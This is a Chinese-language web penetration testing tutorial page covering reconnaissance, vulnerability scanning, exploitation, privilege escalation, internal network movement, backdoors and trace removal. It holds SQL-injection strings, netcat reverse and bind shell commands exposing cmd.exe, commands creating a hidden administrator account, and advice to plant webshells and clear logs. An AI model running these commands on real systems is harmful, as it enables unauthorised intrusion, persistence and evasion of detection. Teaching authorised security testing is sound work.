基于web来设计渗透测试方案_web渗透测试手段

hacker|
180

网站渗透测试,怎么进行

1.信息收集:

1)、获取域名的whois信息,获取注册者邮箱姓名电话等。

2)、查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。

3)、查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞。

4)、查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。

5)、扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针。

6)、google hack 进一步探测网站的信息,后台,敏感文件。

2.漏洞扫描:

开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含, 远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等。

3.漏洞利用:

利用以上的方式拿到webshell,或者其他权限。

4.权限提升:

提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉, linux藏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权。

5.日志清理:

结束渗透测试工作需要做的事情,抹除自己的痕迹。

需要规避的风险:

1. 不执行任何可能引起业务中断的攻击(包括资源耗竭型DoS,畸形报文攻击,数据破坏)。

2. 测试验证时间放在业务量最小的时间进行。

3. 测试执行前确保相关数据进行备份

4. 所有测试在执行前和维护人员进行沟通确认。

如何进行Web渗透测试

1.SQL Injection(SQL注入)

(1)如何进行SQL注入测试?

首先找到带有参数传递的URL页面,如 搜索页面,登录页面,提交评论页面等等.

注1:对 于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在FORM 和/FORM的标签中间的每一个参数传递都有可能被利用.

form id="form_search" action="/search/" method="get"

div

input type="text" name="q" id="search_q" value="" /

input name="search" type="image" src="" /

a href="/search/" class="d810-bbc7-6589-171a fl"Gamefinder/a

/div

/form

注 2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如

其 次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入 /INDEX.ASP?USERNAME='HI' OR 1=1

注1:根据实际情况,SQL注入请求可以使用以下语句:

' or 1=1- -

" or 1=1- -

or 1=1- -

' or 'a'='a

" or "a"="a

') or ('a'='a

注2:为什么是OR, 以及',

web渗透测试工具

第一个:NST

NST一套免费的开源应用程序,是一个基于Fedora的Linux发行版,可在32和64位平台上运行。这个可启动的Live

CD是用于监视、分析和维护计算机网络上的安全性;它可以很容易地将X86系统转换为肉机,这有助于入侵检测,网络流量嗅探,网络数据包生成,网络/主机扫描等。

第二个:NMAP

NMAP是发现企业网络中任何类型的弱点或漏洞的绝佳工具,它也是审计的好工具。该工具的作用是获取原始数据包并确定哪些主机在网络的特定段上可用,正在使用什么操作系统,以及识别特定主机的数据包防火墙或过滤器的不同类型和版本正在使用。NMAP对渗透测试过程的任何阶段都很有用并且还是免费的。

第三个:BeEF工具

BeEF工具主要利用移动端的客户,它的作用是用于检查Web浏览器,对抗Web抗击。BeEF用GitHub找漏洞,它探索了Web边界和客户端系统之外的缺陷。很重要的是,它是专门针对Web浏览器的,能够查看单个源上下文中的漏洞。

第四个:Acunetix Scanner

它是一款知名的网络漏洞扫描工具,能审计复杂的管理报告和问题,并且通过网络爬虫测试你的网站安全,检测流行安全漏洞,还能包含带外漏洞。它具有很高的检测率,覆盖超过4500个弱点;此外,这个工具包含了AcuSensor技术,手动渗透工具和内置漏洞测试,可快速抓取数千个网页,大大提升工作效率。

第五个:John the Ripper

它是一个简单可快速的密码破解工具,用于在已知密文的情况下尝试破解出明文的破解密码软件,支持大多数的加密算法,如DES、MD4、MD5等。

web渗透是什么?

Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透,以下所说的Web渗透就是黑盒渗透。

Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹。一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。

信息收集

信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。

DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)

整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;

网站常见搭配为:

ASP和ASPX:ACCESS、SQLServer

PHP:MySQL、PostgreSQL

JSP:Oracle、MySQL

敏感目录信息(御剑,dirbust)

开放端口信息(nmp)

漏洞扫描

利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。

常见漏洞:

SQL注入

XSS跨站脚本

CSRF跨站请求伪造

XXE(XML外部实体注入)漏洞

SSRF(服务端请求伪造)漏洞

文件包含漏洞

文件上传漏洞

文件解析漏洞

远程代码执行漏洞

CORS跨域资源共享漏洞

越权访问漏洞

目录遍历漏洞和任意文件读取/下载漏洞

漏洞利用

用工具也好什么也好对相应漏洞进行利用

如:

Sql注入(sqlmap)

XSS(BEEF)

后台密码爆破(burp)

端口爆破(hydra)

提权

获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的exp进行提权

内网渗透

首先进行端口转发可用nc

nc使用方法:

反向连接

在公网主机上进行监听:

nc-lvp 4444

在内网主机上执行:

nc-e cmd.exe 公网主机ip4444

成功之后即可得到一个内网主机shell

正向连接

远程主机上执行:

nc-l -p 4444 -t -e cmd.exe

本地主机上执行:

nc-vv 远程主机ip4444

成功后,本地主机即可远程主机的一个shell

然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门

留后门

对于网站上传一句话木马,留下后门

对于windows用户可用hideadmin创建一个超级隐藏账户

手工:

netuser test$ 123456 /add

netlocalgroup administrators test$ /add

这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。

0条大神的评论

发表评论